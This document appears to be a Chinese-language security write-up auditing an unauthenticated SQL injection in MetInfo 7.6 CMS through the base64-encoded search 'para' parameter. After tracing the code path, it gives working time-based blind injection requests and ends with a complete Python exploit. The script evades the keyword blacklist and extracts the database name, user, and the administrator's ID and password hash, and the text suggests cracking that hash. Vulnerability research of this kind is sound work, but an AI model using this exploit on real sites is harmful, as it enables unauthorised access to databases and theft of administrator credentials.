7.6版本前台SQL注入

找到sink处,app/system/parameter/include/class/parameter_label.class.php#get_search_list_sql,发现存在大量的SQL语句拼接,然后直接在后面查询了。我们再看一下进入sink点的条件:$info为字典($val为恶意payload)。

全局搜get_search_list_sqlapp/system/base/include/class/base_database.class.php#get_list_by_class_sql

1
2
3
4
5
6
7
//系统参数筛选  
if ($cond['para']['status'] && $cond['para']['info']) {
$para = load::sys_class('label', 'new')->get('parameter')->get_search_list_sql($this->module, $cond['para']['precision'], $cond['para']['info']);
if ($para != 'all') {
$search .= " OR id IN ({$para}) "; //如果以后需要加强字段搜索,就在这里添加代码。
}
}

第三个参数是我们需要构造恶意payload的地方,然后我看看进入这段代码的条件:

  • if (isset($cond['type']) && ($cond['type'] == 'array' || $cond['type'] == 'tag'))
  • if (isset($_M['form']['search']))

上述if语句都是需要成功通过的。这个$condget_list_by_class_sql方法的第二个参数。接着我们关注$_M['form'],这是什么东西,看上去像是表单提交的东西。

我们从整个网站的index入口点开始找找看:

1
2
3
4
5
6
7
8
9
10
11
12
<?php  
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
define('M_NAME', 'index');
define('M_MODULE', 'web');
define('M_CLASS', 'index');
define('M_ACTION', 'doindex');
require_once './app/system/entrance.php';

# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>

看这个路由,我们往app/system/web/index.class.php找。

后面会直接使用$_M,那么说明它是已经被构造好了的,我们往父类的构造函数找。

继续跟进。找到common.class.php,里面存在一堆的初始化与加载函数,我们随便跟进几个看看,下面的load_form其实就是跟$_M['form']相关的。理解一下这个$_M其实就相当于是MetInfo自己定义的一个全局数组,整个程序运行时的所有状态都存在里面。

我们先随便进一个看看,发现其中确实是对$_M的一些赋值。

接下来我们看load_form。这个方法其实就是对$_COOKIE$_POST$_GET进行一些处理后存入$_M

我们看看是怎么进行处理的。对GET、POST的值进行转义处理(daddslashes),该方法其中也存在sql注入的一些防护。

好了,我们回到app/system/base/include/class/base_database.class.php#get_list_by_class_sql。继续找谁调用了这个方法。

$cond是第四个参数,继续找调用。找到app/system/base/include/class/base_label.class.php#get_list_page

我们需要关注的是$cond的取值。它来自于$search['type'],所以我们先跟进search方法看看。

这里分别看一下两个方法,都在search_label.class.php中。只有search_info存在对$_M['form']['para']的赋值,而我们先前的传参是$cond['para']。所以我们关注search_info方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
public function search_info()  
{
global $_M;

if ($_M['form']['search']) {
if ($_M['form']['title'] || $_M['form']['content'] || $_M['form']['searchword']) {
if ($_M['form']['content']) {
$word = $_M['form']['content'];
} else {
$word = $_M['form']['searchword'];
}
$type = $this->get_search_type(0, $word);
return $type;
} elseif ($_M['form']['para']) {
//$paratmp = json_decode(load::sys_class('auth', 'new')->decode($_M['form']['para']), true);
$paratmp = json_decode(base64_decode($_M['form']['para']), true);
foreach ($paratmp as $key => $val) {
$para[] = array(
'id' => $key,
'info' => $val,
);
}
$type = array(
'type' => 'array',
'title' => array(
'status' => 0,//title搜索
),
'content' => array(
'status' => 0,//内容搜索
),
'tag' => array(
'status' => 0,//tag搜索
),
'specv' => array(
'status' => 0,//规格搜索
),
'para' => array(
'status' => 1,//系统属性搜索
'precision' => 0,
'info' => $para,
),
);
return $type;
} elseif ($_M['form']['specv'] || $_M['form']['price_low'] || $_M['form']['price_top']) {
$shop_search = load::app_class('shop/include/class/shop_search', 'new');
if (method_exists($shop_search,'getSearchType')) {
$specv = $shop_search->getSearchType($_M['form']['specv']); //new
}else{
$specv = json_decode(load::sys_class('auth', 'new')->decode($_M['form']['specv']), true); //old
}

$type = array(
'type' => 'array',
'title' => array(
'status' => 0,//开启搜索
),
'content' => array(
'status' => 0,//开启搜索
),
'tag' => array(
'status' => 0,//开启搜索
),
'para' => array(
'status' => 0,//开启搜索
),
'specv' => array(
'status' => 1,//开启搜索
'precision' => 0,
'info' => $specv
)
);
return $type;
}
}
}

要想成功赋值para,我们传参searchpara即可。进入的是如下else if部分。这里我们发现para传参是要经过base64解码的,因此之前的sql注入防御全部失效!成功近在咫尺。这里注意一下:我们的恶意payload应该在'id' => $key,也就是key。我们从最开始追踪一下就知道:$cond ->['para'] -> ['info'] -> 的值 -> id

然后我们回到get_list_page方法,赋值给$search后就一目了然了。继续寻找调用。

发现存在大量的调用,看了一下,是因为base_label.class.php是父类,下属有一堆子类不存在get_list_page方法,所以调用的是父类的方法,因此可以成功调用。这里我们随便找一个:app/system/job/include/class/job_tag.class.php#_list

这里我们全局搜_list,找不到任何直接调用。因为它是被动态分发(反射)调用的。我们全局搜一下call_user_func

这里调用了本对象的_.$tag方法,job_tag的父类其实就是tag类,因此它可以调用到父类的parseTag方法来解析标签。
这里的_是直接拼接的,所以我们不可能全局搜到。然后我们再搜一下parseTag看看。会跟进到view_compile类,这是模板编译器。

既然是标签的解析,这里我们直接全局搜html标签吧,应该是标签中写出了调用方法。找到个完美符合的,actionjob.list,也就是调用job_tag_list方法,_list一眼就是内部的调用,所以此处非常合理。总结一下:看到模板<tag action='模块.方法'>,就去找app/system/模块/include/class/模块_tag.class.php_方法。

接下来我们需要知道哪里对job.php进行了渲染,或者哪里调用了job.php。我们可以直接在job模块的目录下找,也可以全局搜view函数。

然后我们找job#dojob方法被谁调用。

ok,此处我们遵从路由规则即可。GET /job/index.php?search=search&para=<base64(json)>

但是此处我们失败了,回头看代码是因为job_database.class.php重写了父类的get_list_by_class_sql,里面的para分支不见了!!!所以我们回头重新找一个没有重写的即可。全局搜get_list_page。找了一个download的。

尝试时间盲注{"1' OR SLEEP(0.1)-- -":"x"}

1
2
3
4
5
GET /download/index.php?search=search&para=eyIxJyBPUiBTTEVFUCgwLjEpLS0gLSI6IngifQ== HTTP/1.1
Host: 127.0.0.1:8000

GET /news/index.php?search=search&para=eyIxJyBPUiBTTEVFUCgwLjEpLS0gLSI6IngifQ== HTTP/1.1
Host: 127.0.0.1:8000

成功了。实际上不止download路由存在漏洞。

给出exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
"""
MetInfo 7.6 前台搜索 para 参数 未授权 SQL 注入 — 时间盲注数据提取脚本
注入点: parameter_label::get_search_list_sql() info 位置 (met_plist, 2行)
oracle : SLEEP(1) 执行 → ~2s ; 不执行 → ~0.06s
用法 : python metinfo_blind_extract.py
"""
import urllib.request
import base64
import json
import time
import sys

BASE = "http://127.0.0.1:8000/download/index.php?lang=cn&search=search&para={}"

# sqlinsert() 对 base64 串的关键词黑名单(大小写不敏感)
BLOCKED = ["select", "insert", "update", "delete", "union", "into",
"load_file", "outfile", "sleep", "*", "~"]

SLEEP_SEC = 0.5 # 单次 SLEEP 秒数(met_plist 2 行 → TRUE≈2×0.5=1s,FALSE≈0.06s)
THRESHOLD = 0.5 # 判定阈值,calibrate() 会自动校准


def enc(info, key="200"):
"""构造 para=base64(json),若 base64 命中黑名单则末尾补空格重试(补位在 -- 注释内,不影响 SQL)"""
while True:
data = json.dumps({key: info}, ensure_ascii=False, separators=(",", ":"))
b = base64.b64encode(data.encode("utf-8")).decode("utf-8")
low = b.lower()
if not any(w in low for w in BLOCKED):
return b
info += " "


def send(info):
"""发送请求,返回耗时"""
url = BASE.format(enc(info))
t0 = time.time()
try:
urllib.request.urlopen(url, timeout=15)
except Exception:
pass
return time.time() - t0


def oracle(condition):
"""条件为真 → SLEEP → 超过阈值;返回布尔"""
payload = "x' OR IF({},SLEEP({}),0)-- -".format(condition, SLEEP_SEC)
return send(payload) > THRESHOLD


def calibrate():
"""校准阈值:测一次确定真假,取中间值"""
t_false = send("x' OR IF(1=2,SLEEP({}),0)-- -".format(SLEEP_SEC))
t_true = send("x' OR IF(1=1,SLEEP({}),0)-- -".format(SLEEP_SEC))
global THRESHOLD
THRESHOLD = (t_false + t_true) / 2
print("[*] 校准: FALSE=%.2fs TRUE=%.2fs 阈值=%.2fs" % (t_false, t_true, THRESHOLD))


def extract(query, length, desc=""):
"""逐字符二分盲注提取, query 为不带 SELECT 的查询表达式或完整 SELECT"""
result = ""
for pos in range(1, length + 1):
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
cond = "ASCII(SUBSTR(({}),{},1))>{}".format(query, pos, mid)
if oracle(cond):
lo = mid + 1
else:
hi = mid
result += chr(lo)
sys.stdout.write("\r[%s] %s %d/%d -> %s" % (desc, query[:40], pos, length, result))
sys.stdout.flush()
print()
return result


if __name__ == "__main__":
print("[*] MetInfo 7.6 para 参数时间盲注提取")
calibrate()

db = extract("SELECT DATABASE()", 20, "DB")
user = extract("SELECT USER()", 20, "user")
print("\n[+] database =", db)
print("[+] user =", user)

admin_id = extract("SELECT admin_id FROM met_admin_table LIMIT 1", 20, "admin_id")
admin_pass = extract("SELECT admin_pass FROM met_admin_table LIMIT 1", 32, "admin_pass")

print("\n" + "=" * 50)
print("[+] 提取结果:")
print(" admin_id = %s" % admin_id)
print(" admin_pass= %s" % admin_pass)
print(" (admin_pass 为 MD5,可用 cmd5/somd5 反查明文)")